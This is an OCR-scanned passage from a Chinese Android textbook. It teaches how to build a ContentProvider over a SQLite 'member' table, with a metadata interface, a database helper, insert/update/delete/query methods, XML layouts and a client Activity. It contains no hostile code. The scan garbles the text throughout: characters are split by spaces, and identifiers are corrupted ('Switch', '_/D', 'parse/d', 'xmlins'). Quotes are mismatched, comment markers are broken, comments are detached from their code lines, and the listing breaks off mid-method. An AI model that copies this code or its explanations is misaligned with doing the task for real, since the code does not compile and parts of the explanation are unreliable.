由 于 ContentProvider 程序 开发 时 代码 较 多 ， 在 表 8-26 中 列 出 了 本 次 开发 所 要 使 用 的 代码 清单 。 


SS 人 
提问 : 为 什么 member 表 中 的 id 字段 要 定义 为 “ id”? 
在 表 8-25 中 发 现 将 ID 定义 为 了 “ id”， 为 什么 前 面 要 加 “ ?” 呢 ? 
回答 : 这 是 ContentProvider 的 操作 标准 。 


由 于 ContentProvider 是 一 个 数据 的 操作 标准 ， 所 以 在 ContentProvider 定义 时 就 已 经 明确 地 
”提出 了 要 求 ， 只 要 是 唯一 的 标识 (如 ID ) ， 其 字段 定义 必须 在 标识 名 称 前 加 “” (如 id) 。 
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表 8-26 ”ContentProvider 程序 实现 清单 

描述 
要 操作 的 数据 库 (mldn) 的 元 数据 接口 ， 定 义 了 一 些 基本 
的 信息 ， 如 数据 库 的 名 称 、 版 本 等 


定义 了 mldn.member 表 的 元 数据 ， 如 表 的 字段 、 表 名 称 等 


SQLite 数据 库 的 操作 类 ， 用 于 创建 和 删除 member 表 
Member 表 的 ContentProvider 的 具体 实现 类 
main.xml 调用 ContentProvider 的 Activity 布局 文件 
member.xml 列表 显示 member 表 数 据 时 用 到 的 模板 


下 面 依次 来 看 代码 ， 由 于 这 里 所 涉及 的 代码 量 较 大 ， 为 了 更 好 地 方便 读者 理解 每 一 部 分 的 作用 
及 组 成 ， 本 部 分 会 将 重要 的 代码 进行 重点 讲解 ， 而 对 于 较 长 的 代码 ， 会 采用 分 块 的 形式 逐 块 讲解 。 
【 例 8-53】 元 数据 接口 一 一 MLDNDatabaseMetaData 
package org.Ixh.demo; 
import android.net.Uri; 
import android.provider.BaseColumns; 
public interface MLDNDatabaseMetaData { /mldn 数据 库 元 数据 
// 外 部 访问 的 Authroity，Content 地 址 为 content://org.Ixh.demo.membercontentprovider 
public static final String AUTHORITY = "org.Ixh.demo.membercontentprovider ; 
/数据 库 名 称 为 mldn 
public static final String DATABASE_NAME = "mldn.db"; 
/| 数据 库 版 本 
public static final int VERSION = 1; 
// 表 示 member 表 的 元 数据 定义 ， 直 接 继承 _ID 和 _COUNT 静态 常量 
public static interface MemberTableMetaData extends BaseColumns { 
/| 数据 表 的 名 称 
public static final String TABLE_NAME = "member ; 
// 外 部 访问 的 URI 地 址 ，content://org.Ixh.demo.membercontentprovider/member 
public static final Uri CONTENT_URI = Uri.parse("content://" 
+ AUTHORITY + "+ TABLE_NAME); 
/取得 member 表 中 的 所 有 数据 
public static final String CONTACT_LIST = "vnd.android.cursor.dir/vnd.mldncontentprovider. 
member"; 
// 取 得 一 个 member 信息 ， 相 当 于 是 按照 ID 查询 
public static final String CONTACT_/TEM = "vnd.android.cursor.item/vynd.mldncontentprovider. 
member"; 
/表示 member.name 字段 名 称 
public static final String MEMBER_NAME = "name ; 
/表示 member.age 字段 名 称 
public static final String MEMBER_ AGE = "age"; 
/表示 member.birthday 字段 名 称 
public static final String MEMBER_BIRTHDAY= "birthday ; 
/显示 时 的 排序 字段 
public static final String SORT_ORDER =” id DESC"; 


No. 名 称 
1 | MLDNDatabaseMetaData 


MLDNDatabaseMetaData. 
MemberTable MetaData 

3 | MyDatabaseHelper 

4 | MemberContentProvider 

5 

6 


} 
本 接口 表示 在 此 ContentProvider 应 用 程序 中 ， 所 有 与 MLDN 数据 库 操 作 有 关 的 元 数据 ， 命 
名 的 格式 统一 采用 “数据 库 名 称 DatabaseMetaData”， 此 时 数据 库 的 名 称 为 mldn， 所 以 为 
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MLDNDatabaseMetaData， 在 此 接口 中 最 重要 的 就 是 全 局 常量 AUTHORITY， 它 表示 以 后 访问 此 
ContentProvider 的 地 址 。 


ee 


提示- 
关于 元 数据 的 解释 。 
元 数据 ( Meta Data ) 主要 是 指 描述 一 些 数 据 集 系 列 的 一 些 要 素 信息 ， 如 数据 库 名 称 、 数 
据 表 名 称 、 数 据 的 所 有 者 等 都 属于 元 数据 的 范畴 。 


MLDNDatabaseMetaData 接口 为 mldn 数据 库 中 所 有 元 数据 的 集合 ， 为 了 方便 代码 的 管理 ， 
将 member 表 中 的 所 有 元 数据 也 直接 定义 在 了 MLDNDatabaseMetaData 接口 中 (也 可 以 将 其 定义 
成 内 部 类 的 形式 ， 但 是 考虑 到 此 处 全 部 是 静态 常量 ， 所 以 将 其 定义 为 内 部 接口 ) ， 采 用 的 是 内 
部 静态 接口 的 定义 形式 ， 而 其 接口 名 称 定义 的 格式 为 “数据 库 元 数据 . 表 名 称 TableMetaData”， 
所 以 此 接口 全 名 为 MLDNDatabaseMetaData MemberTableMetaData 。 


/提示 

关于 static 定义 接口 。 

在 Java 中 ， 使 用 static 定义 内 部 类 或 内 部 接口 时 ， 内 部 类 就 成 为 外 部 类 ， 内 部 接口 也 就 
成 了 外 部 接口 ， 而 此 时 访问 类 时 是 “外 部 类 .内 部 类 ”或 “外 部 接口 .内 部 接口 ”， 如 果 对 此 
不 清楚 ， 可 以 参考 《名 师 讲坛 一 一 Java 开发 实战 经 典 》 一 书 ， 其 中 有 详细 的 讲解 。 


在 MemberTableMetaData 接口 中 最 重要 的 一 个 全 局 常量 是 CONTENT_URI， 此 常量 的 类 型 
为 Uri, 表示 日 后 其 他 程序 可 以 通过 此 常量 访问 此 ContentProvider 程序 , 另外 , MemberTableMeta 
有 两 个 重要 的 属性 。 
回 取得 全 部 信息 (CONTACT LIST): wnd.android.cursor.dir/vnd.mldncontentprovider.member。 
说 明 : 这 是 一 个 访问 全 部 数据 的 MIME 格式 : “vnd.android.cursor.dir/ 自 定义 名 称 ”。 
加 根据 ID 查询 (CONTACT ITEM): vwnd.android.cursor.item/vnd.mldncontentprovider.member。 
说 明 : 这 是 一 个 访问 指定 数据 的 MIME 格式 : “vnd.android.cursor.item/ 自 定义 名 称 ”。 
而 像 MEMBER NAME、MEMBER_ AGE、MEMBER BIRTHDAY 等 都 是 表示 member 表 
中 字段 的 名 称 ， 将 其 定义 成 静态 常量 的 主要 目的 是 为 了 日 后 程序 的 维护 方便 。 


NO 
提问 : CONTENT_URI 一 定 要 定义 吗 ? 可 以 换个 名 字 吗 ? 
在 MemberTableMetaData 接口 中 的 CONTENT URI 常量 有 必要 定义 吗 ? 如 果 不 定义 ， 
其 他 系统 不 是 依然 可 以 通过 ContentProvider 的 标准 协议 访问 程序 吗 ? 另外 ， 其 名 称 可 否 更 
换 ， 例 如 换 成 CONTENTPROVIDER URI， 不 是 更 清楚 吗 ? 
回答 : 这 还 是 一 个 操作 的 标准 问题 。 
将 ContentProvider 的 访问 地 址 定义 成 元 数据 是 为 了 方便 其 他 应 用 程序 调用 , 这 样 就 可 以 
; 避免 由 于 失误 所 造成 的 协议 拼写 错误 ， 减 少 开发 难度 。 
另 一 方面 ， 在 8.4.2 节 中 讲解 过 ， 在 实际 的 开发 中 ， 用 户 自 定义 ContentProvider 的 情况 
; 并 不 多 见 ， 而 都 会 使 用 系统 中 提供 的 ContentProvider 进行 操作 ， 而 这 些 默 认 提 供 的 
”ContentProvider 取得 地 址 的 标准 常量 名 称 就 是 CONTENT URI， 所 以 ， 本 程序 这 样 做 的 目的 
是 为 了 统一 操作 的 标准 。 
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提问 : _id 字段 为 什么 没有 定义 ? 
在 MLDNDatabaseMetaData MemberTableMetaData 接口 中 ， 已 经 将 member 表 中 的 全 部 
字段 名 称 定 义 成 了 常量 ， 为 什么 不 定义 表示 _id 字段 名 称 的 常量 ? 
回答 : 在 BaseColumns 接口 中 已 有 定义 。 
细心 的 读者 可 以 发 现 ,在 定义 MemberTableMetaData 接 口 时 让 其 默认 继承 了 一 个 android. 
provider.BaseColumns 接口 : 
public static interface MemberTableMetaData extends BaseColumns 
而 BaseColumns 接口 的 定义 形式 如 下 : 
public interface BaseColumns { 
public static final String _/D="_id"; 
public static final String _COUNT = "_count" ; 
} 
由 于 MemberTableMetaData 是 BaseColumns 的 子 接口 ,所 以 此 处 不 用 再 重复 定义 表示 _id 
列 的 属性 ， 这 样 做 也 是 一 种 操作 的 标准 。 


在 MLDNDatabaseMetaData 和 MemberTableMetaData 接口 中 定义 的 所 有 常量 ， 在 以 后 每 

个 类 的 开发 中 都 有 其 重要 的 作用 ， 下 面 依次 来 看 使 用 这 些 元 数据 的 类 。 
【 例 8-54】 定义 数据 库 操作 的 助手 类 一 一 MyDatabaseHelper 

package org.Ixh.demo; 

import android.content.Context; 

import android.database.sqlite.SQLiteDatabase; 

import android.database.sqlite.SQLiteOpenHelper 

public class MyDatabaseHelper extends SQLiteOpenHelper{ /| 继承 SQLiteOpenHelper 类 


private static final String DATABASENAME = "mldn.db" ; /数据库 名 称 
private static final int DATABASEVERSION= 1; /| 数据库 版 本 号 
private static final String TABLENAME = "member" ; /| 数据 表 名 称 


public MyDatabaseHelper(Context context) { 
super(context, DATABASENAME, null, DATABASEVERSION);，// 调 用 父 类 构造 


} 
@Override 
public void onCreate(SQLiteDatabase db) { // 创 建 数据 表 
String sql = "CREATE TABLE "+ TABLENAME + " (" 
+ MLDNDatabaseMetaData.MemberTableMetaData. /ID 
x INTEGER PRIMARY KEY ,” 
+ MLDNDatabaseMetaData.MemberTableMetaData.MEMBER_NAME 
于 VARCHAR(50) NOT NULL ,” 
+ MLDNDatabaseMetaData.MemberTableMetaData.MEMBER_AGE 
ee INTEGER NOT NULL ” 
+ MLDNDatabaseMetaData.MemberTableMetaData.MEMBER _BIRTHDAY 
es DATE NOT NULL)";，//SQL 语句 
db.execSQL(sql) ; /执行 SQL 语句 
} 
@Override 
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public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) { 
String sql = "DROP TABLE IF EXISTS " + TABLENAME ; JSQL 语句 
db.execSQL(sql); /执行 SQL 语句 
this.onCreate(db); // 创 建 表 
! 
} 
MyDatabaseHelper 类 与 8.3 节 中 的 数据 库 辅 助 类 功能 是 一 样 的 ， 在 使 用 此 类 进行 表 创 建 时 ， 
所 有 的 字段 名 称 都 通过 MemberTableMetaData 接口 取得 。 
【 例 8-55】 定义 member 表 操 作 的 ContentProvider 类 一 一 MemberContentProvider (分 段 讲 解 ) 
package org.Ixh.demo; 
import android.content.ContentProvider; 
import android.content.ContentUris; 
import android.content.ContentValues; 
import android.content.UriMatcher; 
import android.database.Cursor; 
import android.database.sqlite.SQLiteDatabase; 
import android.net.Uri; 
public class MemberContentProvider extends ContentProvider { ”// 继 承 ContentProvider 


private static UriMatcher wriMatcher = null; // 定 义 UriMatcher 对 象 
private static final int GET_MEMBER _LIST= 1; // 查 询 全 部 的 常量 标记 
private static final int GET_MEMBER _ITEM = 2; // 根 据 ID 查询 的 常量 标记 
private MyDatabaseHelper helper = null; /| 数据 库 操作 类 对 象 
static { /| 静态 代 码 块 


uriMatcher = new UriMatcher(UriMatcher.NO_MATCH);”// 实 例 化 UriMatcher 
uriMatcher.addURI(MLDNDatabaseMetaData.AUTHORITY, "member", 


GET_MEMBER _LIS7); // 增 加 匹配 地 址 
uriMatcher.addURI(MLDNDatabaseMetaData.AUTHORITY, "member/#", 
GET_MEMBER _ITEM); // 增 加 匹配 地 址 


L 
所 有 用 户 自 定义 的 ContentProvider 都 必须 继承 自 ContentProvider 类 ， 并 且 在 类 中 要 
町 写 表 8-19 中 的 抽象 方法 ， 由 于 此 类 需要 通过 Uri 进行 调用 ， 所 以 定义 了 一 个 UriMatcher 类 
对 象 , 由 于 所 有 的 MemberContentProvider 类 的 对 象 都 只 需要 一 个 UriMatcher 实例 操作 ， 所 以 将 
其 定义 成 了 static 型 的 静态 属性 。 之 后 在 静态 代码 块 中 ,实例 化 了 UriMatcher 类 对 象 ， 并 且 使 用 
addURI( 方 法 加 入 了 以 后 需要 匹配 的 Uri 地 址 。 此 处 使 用 MLDNDatabaseMetaData 中 定义 的 
AUTHORITY 常量 表示 连接 地 址 ， 而 程序 中 的 操作 分 为 两 类 。 
回 更 新 或 查询 全 部 (GET_ MEMBER _LIST) 数据 : 访问 路 径 为 “member”。 
回 更 新 或 查询 一 条 (GET MEMBER_ ITEM) 数据 : 访问 路 径 为 “member#”。 
@Override 
public boolean onCreate() { 
this.helper = new MyDatabaseHelper(super.getContext()); ” // 实 例 化 DatabaseHelper 
return true; // 操 作成 功 


Ce 


} 
上 段 程序 中 ，onCreate() 方 法 为 回调 方法 ， 在 创建 了 此 类 对 象 时 调用 ， 所 以 在 此 方法 中 的 主 
要 功能 是 实例 化 MyDatabaseHelper 数据 库 的 辅助 操作 类 的 对 象 。 


@Override 
public String getType(Uri uri) { // 得 到 MIME 
Switch (uriMatcher.match(uri)) { // 匹 配 传 入 的 Uri 
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case GET MEMBER LIST: /满足 条 件 
return MLDNDatabaseMetaData.MemberTableMetaData. 
CONTACT_LIST; // 返 回 所 有 member 信息 
case GET MEMBER _ITENM:{ // 满 足 条 件 
return MLDNDatabaseMetaData.MemberTableMetaData. 
CONTACT ITEM: /返回 一 个 member 信息 
} 
default: // 不 匹配 时 返回 默认 
throw new UnsupportedOperationException("Not Support Operation: " 
+ uri); // 抛 出 异常 
} 


} 

getType() 方 法 的 主要 作用 是 返回 操作 地 址 的 相应 的 MIME 数据 类 型 ， 这 些 数 据 类 型 都 是 通 
过 MemberTableMetaData 接口 指定 的 常量 , 当 传 入 Uri 之 后 , 首先 通过 match() 方 法 找到 指定 Uri 
的 位 置 ， 如 果 找 到 了 ， 则 返回 之 前 通过 addUri0 方 法 设置 的 CODE; 如 果 没有 找到 ， 则 返回 -1。 
此 时 程序 将 手工 抛 出 一 个 UnsupportedOperationException 的 异常 。 


@Override 

public Uri insert(Uri uri, ContentValues values) { /数据 增加 
SQLiteDatabase db = this.helper.getWritableDatabase(); // 取 得 数据 库 操作 对 象 
long id = 0; /增加 之 后 的 id 
Switch (uriMatcher.match(uri)) { // 匹 配 传 入 的 Uri 
case GET_ MEMBER LIST: 1/ 满足 条 件 


id = db.insert(MLDNDatabaseMetaData.MemberTableMetaData. TABLE_NAME, 
MLDNDatabaseMetaData.MemberTableMetaData._/D, 


values); /执行 插入 
return ContentUris.withAppendedla(uri, id); // 返 回 Uri 后 面 追加 ID 
case GET_MEMBER _ITEM: // 满 足 条 件 


id = db.insert(MLDNDatabaseMetaData.MemberTableMetaData. TABLE_NAME, 
MLDNDatabaseMetaData.MemberTableMetaData._/D, 


values); // 执 行 插入 
String uriPath = uri.toString(); // 取 出 地 址 
String path = uriPath.substring(0, 

uriPath.lastiIndexOf("/")) + id; // 建 立新 的 Uri 地 址 
return Uri.parse(path); // 返 回 一 个 member 信息 

default: // 不 匹配 时 返回 默认 

throw new UnsupportedOperationException("Not Support Operation: " 

+ uri); // 抛 出 异常 


} 
上 
insert() 方 法 为 增加 数据 的 标准 方法 ， 此 方法 返回 的 是 一 个 Uri 地 址 ， 在 此 Uri 上 要 将 用 户 插 
入 后 的 IJD 以 Uri 的 形式 返回 给 客户 端 。 在 此 方法 中 ， 使 用 UriMatcher 类 中 的 match0 方 法 对 传 
入 的 Uri 进行 判断 ， 取 出 传 入 Uri 对 应 的 CODE， 由 于 本 程序 的 _id 字段 为 自动 增长 ， 所 以 只 使 
到 了 case GET MEMBER LIST 之 后 的 代码 ， 如 下 所 示 。 


@Override 
public int update(Uri uri, ContentValues values, String selection, 
String[] selectionArgs) { // 更 新 操作 
SQLiteDatabase db = this.helper.getWritableDatabase(); // 取 得 数据 库 操作 对 象 
int result = 0; // 操 作 结 果 
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Switch (uriMatcher.match(uri)) { 
case GET MEMBER _LIST: 
result = db.update( 


/匹配 传 入 的 Uri 
/满足 条 件 


MLDNDatabaseMetaData.MemberTableMetaData. TABLE_NAME, 


values, null, null); 


break; 
case GET_MEMBER _ITEM: 


long id = ContentUris.parse/d(uri); 


String where = ”id=" + id; 
result = db.update( 


// 更 新 记录 


/满足 条 件 
/取出 传 过 来 的 ID 
/更 新 条 件 


MLDNDatabaseMetaData.MemberTableMetaData. TABLE_NAME, 


values, where, selectionArgs); 


break; 
default: 


throw new UnsupportedOperationException("Not Support Operation: 


+ uri); 


} 


return result; 


// 执 行 更 新 操作 
/不 匹配 时 返回 默认 


// 抛 出 异常 
// 返 回 更 新 的 行 数 


} 

更 新 操作 分 为 两 类 : 更 新 全 部 数据 、 根 据 ID 更 新 记录 ， 所 以 需要 首先 判断 传 入 的 Uri 所 需要 
的 操作 类 型 , 如 果 为 GET MEMBER_LIST, 则 执行 更 新 全 部 操作 ; 如 果 为 GET_ MEMBER_ITEM 
则 根据 ID 更 新 指定 的 一 条 记录 ， 当 更 新 完成 之 后 将 返回 全 部 更 新 的 记录 行 数 。 


@Override 


public int delete(Uri uri, String selection, String[] selectionArgs) { 


SQLiteDatabase db = this.helper.getWritableDatabase(); // 取 得 数据 库 操作 对 象 
int result = 0; // 操 作 结 果 

Switch (uriMatcher.match(uri)) { // 匹 配 传 入 的 Uri 
case GET_ MEMBER LIST: // 满 足 条 件 


result = db.delete( 


MLDNDatabaseMetaData.MemberTableMetaData. TABLE_NAME, 
selection, selectionArgs); 1/ 删除 数据 


break; 
case GET_ MEMBER_ITEM.: /满足 条 件 


long id = ContentUris.parseld(uri); 


/取得 传 入 的 ID 


String where = "id=" + id; /删除 语句 
result = db.delete( 


MLDNDatabaseMetaData.MemberTableMetaData. TABLE_NAME, where, 


selectionArgs); // 删 除数 据 
break; 
default: /不 匹配 时 返回 默认 
throw new UnsupportedOperationException("Not Support Operation: " 
+ uri); // 抛 出 异常 
return result /删除 的 行 数 
} 
删除 操作 同样 分 为 删除 全 部 和 根据 ID 删除 两 种 情况 ,在 执行 完 删除 操作 之 后 会 直接 将 所 更 
新 的 数据 行 数 返回 给 用 户 。 
@Override 


public Cursor query(Uri uri, String[] projection, String selection, 
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String[] selectionArgs, String sortOrder) { // 查 询 操作 
SQLiteDatabase db = this.helper.getWritableDatabase(); // 取 得 数据 库 操作 对 象 
Switch (urWatchermatch(uri)){ /匹配 传 入 的 Uri 
case GET_ MEMBER LIST: // 满 足 条 件 


return db 
.query(MLDNDatabaseMetaData.MemberTableMetaData. TABLE_NAME, 
projection, selection, selectionArgs, null, null, 


sortOrder); /查询 
case GET_ MEMBER _ITEM: /满足 条 件 
long id = ContentUris.parse/d(uri); /1/ 取 出 传 入 的 ID 
String where = "_id=" + id; // 查 询 条 件 


return db.query( 
MLDNDatabaseMetaData.MemberTableMetaData. TABLE_NAME, 
projection, where, selectionArgs, null, null, 


sortOrder); // 查 询 操 作 
default: // 不 匹配 时 返回 默认 
throw new UnsupportedOperationException("Not Support Operation: " 
+ uri); // 抛 出 异常 


} 

} 

查询 操作 也 支持 查询 全 部 和 根据 ID 查询 两 种 ， 上 述 程 序 中 ，query0 方 法 是 将 整个 查询 的 

Cursor 对 象 直接 返回 给 用 户 ， 用 户 在 使 用 查询 之 后 ， 需 要 处 理 关 闭 的 操作 。 
【 例 8-56】 定义 访问 ContentProvider 应 用 程序 的 布局 文件 一 一 main.xml 

<?xml version="1.0" encoding="utf-8"?> 

<LinearLayout // 线 性 布局 管理 器 
android:id="@+id/mainlayout”" // 布 局 管理 器 ID， 程 序 中 使 用 
xmlins:android="http:/schemas.android.com/apk/res/android" 


android:orientation="Vertica/” // 所 有 组 件 垂直 排列 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<LinearLayout // 内 赃 线 性 布局 管理 器 


android:id="@+id/butlayout”" // 布 局 管理 器 ID， 程 序 中 使 用 
xmins:android="http:/schemas.android.com/apk/res/android” 


android:orientation="horizontal” /所 有 组 件 水 平 排列 

android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 

android:layout_height= "wrap_content> // 布 局 管理 器 高 度 为 组 件 高 度 

<Button // 按 钮 组 件 
android:id="@+id/insertBut" // 组 件 ID， 程 序 中 使 用 
android:layout_ width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text=" 态 加 '/> // 默 认 显示 文字 

<Button // 按 钮 组 件 
android:id="@+id/updateBut" // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text= "修改 "/> /默认 显示 文字 

<Button /按钮 组 件 


android:id="@+id/deleteBut" 


/组 件 ID， 程 序 中 使 用 
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android:layout_width="wrap_content” 
android:layout_height="wrap_content” 
android:text= "现在 " /> 
<Button 
android:id="@+id/queryBut” 
android:layout_width="wrap_content” 
android:layout_height="wrap_content” 
android:text= "查询 " /> 
</LinearLayout> 
<TextView 
android:id="@+id/maininfo" 
android:layout_width="fill_parent" 
android:layout_height="wrap_content” 
android:text= "信念 呈 元 .…"/> 
<ListView 
android:id="@+id/membersList" 
android:layout_width="wrap_content" 
android:layout_height="wrap_content”" > 
</ListView> 
</LinearLayout> 


1/ 组件 宽度 为 文字 宽度 
// 组 件 高 度 为 文字 高 度 
// 默 认 显 示 文字 

// 按 钮 组 件 
/组件 ID， 程 序 中 使 用 
// 组 件 宽度 为 文字 宽度 
/组件 高 度 为 文字 高 度 
// 上 默认 显示 文字 

// 完 结 标记 

// 文 本 显示 组 件 

1/ 组件 iD， 程序 中 使 用 
// 组 件 宽度 为 屏幕 宽度 
// 组 件 高 度 为 文字 高 度 
// 上 默认 显示 文字 
/ListView 组 件 

// 组 件 ID， 程 序 中 使 用 
// 组 件 宽度 为 内 容 宽度 
/组件 高 度 为 内 容 高 
// 完 结 标记 

/完结 标记 


在 本 布局 管理 器 中 ， 定 义 了 若干 个 按钮 ， 这 些 按 钮 都 分 别 对 应 不 同 的 ContentProvider 操作 ， 


而 定义 的 <ListView> 节 4 
据 的 封装 ， 所 以 下 面 还 需 


要 用 于 显示 所 有 的 查询 结果 ， 由 于 程序 中 采用 SimpleAdapter 进行 数 
要 定义 一 个 数据 显示 格式 的 布局 文件 。 


【 例 8-57】 定义 数据 列表 显示 的 布局 文件 一 一 memberxml 
<?xml version= "1.0" encoding="utf-8"?> 
<TableLayout /表格 布局 管理 器 


xmlins:android="http:/schemas.android.com/apk/res/android" 


android:layout_width="fill_parent”" 
android:layout_height= "wrap_content> 
<TableRow> 
<TextView 
android:id="@+id/_id" 
android:layout_height="wrap_content” 
android:layout_width="30px"”> 
</TextView> 
<TextView 
android:id="@+id/name” 
android:layout_height="wrap_content” 
android:layout_width="100px"> 
</TextView> 
<TextView 
android:id="@+id/age” 
android:layout_height="wrap_content”" 
android:layout_width="30px"> 
</TextView> 
<TextView 
android:id="@+id/birthday” 
android:layout_height="wrap_content” 
android:layout_width="100px"> 
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// 布 局 管理 器 宽度 为 屏幕 宽度 
/布局 管理 器 高 度 为 显示 内 容 高 度 
/表格 行 
/文本 显示 组 件 

/组 件 ID,， 为 SimpleAdapter 封装 时 使 用 
// 组 件 高 度 为 文字 高 度 
/指定 组 件 宽度 为 30 像素 
/完结 标记 
/文本 显示 组 件 

/组件 ID， 为 SimpleAdapter 封装 时 使 用 
// 组 件 高 度 为 文字 高 度 
// 指 定 组 件 宽度 为 100 像素 
// 完 结 标记 
// 文 本 显示 组 件 

/| 组件 ID， 为 SimpleAdapter 封装 时 使 用 
// 组 件 高 度 为 文字 高 度 
/指定 组 件 宽度 为 30 像素 
/完结 标记 
/文本 显示 组 件 

/组件 ID， 为 SimpleAdapter 封装 时 使 用 
// 组 件 高 度 为 文字 高 度 
// 指 定 组 件 宽度 为 100 像素 
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</TextView> // 完 结 标 记 
</TableRow> /完结 标记 
</TableLayout> // 完 结 标 记 


布局 文件 完成 之 后 ， 下 面 开始 完成 Activity 程序 的 开发 ， 在 此 Activity 程序 中 ， 分 别 调 


ContentProvider 类 中 定义 的 insert0)、update0、delete0、query0 方 法 ， 本 程序 由 于 代码 较 多 ， 依 
然 采用 与 之 前 同样 的 分 块 讲解 形式 。 


化 ， 


【 例 8-58】 调用 ContentProvider 的 程序 一 一 MyContentProviderDemo.java 
package org.Ixh.demo; 
import java.text.SimpleDateFormat; 
import java.util.ArrayList; 
import java.util.Date; 
import java.util.HashMap; 
import java.util.List; 
import java.util.Map; 
import android.app.Activity; 
import android.content.ContentResolver; 
import android.content.ContentUris; 
import android.content.ContentValues; 
import android.database.Cursor; 
import android.net.Uri; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener 
import android.widget.Button; 
import android.widget.ListView'; 
import android.widget.SimpleAdapter 
import android.widget. TextView; 
import android.widget. Toast; 
public class ContentProviderDemo extends Activity { 


private Button insertBut,updateBut,deleteBut,queryBut ; // 定 义 按钮 组 件 
private ListView membersList ; /定义 ListView 
private TextView mainlnfo = null ; /|/ 操 作 提 示 


在 本 Activity 类 中 ， 首 先 定 义 了 若干 组 件 的 对 象 ， 随 后 所 有 组 件 将 在 onCreate() 方 法 中 实例 
但 是 考虑 到 程序 的 执行 顺序 问题 ， 本 代码 先 将 完成 ContentProvider 调用 的 程序 列 出 。 
public long testlnsert(String name, int age, String birthday) 


throws Exception { /测试 增加 操作 
ContentResolver contentResolver = null ; // 定 义 ContentResolver 
contentResolver = Super.getContentResolver(); /取得 ContentResolver 
ContentValues values = new ContentValues(); /设置 内 容 
values.put(MLDNDatabaseMetaData.MemberTableMetaData.MEMBER_NAME, 
name); // 设 置 name 字段 内 容 


values.put(MLDNDatabaseMetaData. 
MemberTableMetaData.MEMBER_AGE., age); /设置 age 字段 内 容 
values.put(MLDNDatabaseMetaData.MemberTableMetaData.MEMBER_BIRTHDAY, 


birthday); // 设 置 birthday 字段 内 容 
Uri resultUri = contentResolver.insert( 
MLDNDatabaseMetaData. 


MemberTableMetaData.CONTENT_URI, values); /执行 增加 操作 
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return ContentUris.parseld(resultUri) ; /解析 ID 返回 
| 
由 于 客户 端 访问 ContentProvider 程序 时 都 必须 依靠 ContentResolver 类 完成 ， 所 以 先 使 用 
super.getContentResolver() 方 法 取得 了 一 个 ContentResolver 对 象 ， 由 于 是 增加 操作 ， 所 以 利 
ContentValues 类 将 所 需要 增加 的 数据 进行 封装 ， 最 后 利用 MemberTableMetaData 接口 中 提供 的 
元 数据 CONTENT _URI 连接 指定 的 ContentProvider 程序 。 
public long testUpdate(String _id, String name, int age, String birthday) 


throws Exception { // 测 试 修改 操作 
long result = 0 ; /保存 返回 结果 
ContentResolver contentResolver = null ; /定义 ContentResolver 
contentResolver = Super.getContentResolver(); /取得 ContentResolver 
ContentValues values = new ContentValues(); /设置 内 容 


values.put(MLDNDatabaseMetaData. 
MemberTableMetaData.MEMBER_NAME, name); /设置 name 字段 内 容 


values.put(MLDNDatabaseMetaData. 
MemberTableMetaData.MEMBER_AGE, age); /设置 age 字段 内 容 
values.put(MLDNDatabaseMetaData. 
MemberTableMetaData.MEMBER_BIRTHDAY, birthday); // 设 置 birthday 字段 内 容 
if(_id == null || "".equals(_id)) { /根据 ID 更 新 
result = contentResolver.update( 
MLDNDatabaseMetaData.MemberTableMetaData.CONTENT_URI, 
values, null, null); // 更 新 操作 
} else{ // 更 新 全 部 
result = contentResolver.update(Uri.withAppendedPath( 
MLDNDatabaseMetaData.MemberTableMetaData.CONTENT_URI, _id), 
values, null, null); // 更 新 操作 


return result ; // 返 回 更 新 结果 


testUpdate() 方 法 主要 是 完成 更 新 操作 (update()) ， 但 是 在 之 前 讲解 MemberContentProvider 


程序 时 强调 过 ， 更 新 操作 有 两 种 形式 : 一 种 是 更 新 全 部 ， 另 外 一 种 是 根据 ID 更 新 ， 所 以 在 本 程 
序 中 通过 参数 id 进行 了 判断 , 如 果 传 入 了 _id 参数 , 则 表示 根据 ID 更 新 ; 如 果 没有 传 入 此 参数 ， 
则 表示 更 新 全 部 数据 ， 当 更 新 完成 后 将 返回 更 新 记录 的 行 数 。 


public long testDelete(String _id) throws Exception { 1/ 测试 删除 操作 
ContentResolver contentResolver = null ; /定义 ContentResolver 
contentResolver = Super.getContentResolver(); /取得 ContentResolver 
long result = 0 ; /更 新 记录 数 
if (id == null || ".equals(_id)){ // 删 除 全 部 数据 


result = contentResolver.delete( 
MLDNDatabaseMetaData.MemberTableMetaData.CONTENT_URI, 
null, null); // 执 行 删除 操作 
} else{ 
result = contentResolver.delete(Uri.withAppendedPath( 
MLDNDatabaseMetaData.MemberTableMetaData.CONTENT_URI, _id), 
null, null); // 执 行 删除 操作 


hb 
return result ; /返回 更 新 记录 数 
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删除 操作 也 和 更 新 操作 一 样 ， 在 传 入 的 _id 参数 上 进行 了 判断 ， 如 果 _id 为 空 ， 则 表示 删除 
全 部 ， 如 果 不 为 空 ， 则 表示 根据 指定 的 ID 进行 删除 。 


public Cursor testQuery(String id) throws Exception { /测试 增加 操作 
if(id==null || "".equals(id)){ /查询 全 部 
return super.getContentResolver().query( 
MLDNDatabaseMetaData. 
MemberTable MetaData.CONTENT_UR)I, null null, null, 
MLDNDatabaseMetaData. 
MemberTableMetaData. SORT_ORDER); 1// 执 行 查询 操作 
}else{ /根据 ID 查询 
return Super 
.getContentResolver() 


.query(Uri.withAppendedPath( 
MLDNDatabaseMetaData.MemberTableMetaData.CONTENT_URI, 
id), null, null null, 
MLDNDatabaseMetaData. 
MemberTableMetaData.SORT_ORDER); /执行 查询 操作 
} 
} 
查询 操作 分 为 查询 全 部 和 根据 ID 查询 , 但 是 在 返回 时 返回 的 是 一 个 Cursor 类 的 对 象 , 用 户 
在 接收 到 此 对 象 之 后 ， 要 采用 循环 的 方式 取出 数据 。 
@Override 
public void onCreate(Bundle savedInstanceState) { 
Super.onCreate(savedlnstanceState); 
super.setContentView(R.layout.main); // 指 定 布局 管理 器 
// 依 次 取得 Button、TextView、ListView 组 件 的 实例 
this.membersList = (ListView) super.findViewByld(R.id.membersList); 
this.insertBut = (Button) super.findViewByld(R.id.insertBut) ; 
this.updateBut = (Button) super.findViewByld(R.id.updateBut) ; 
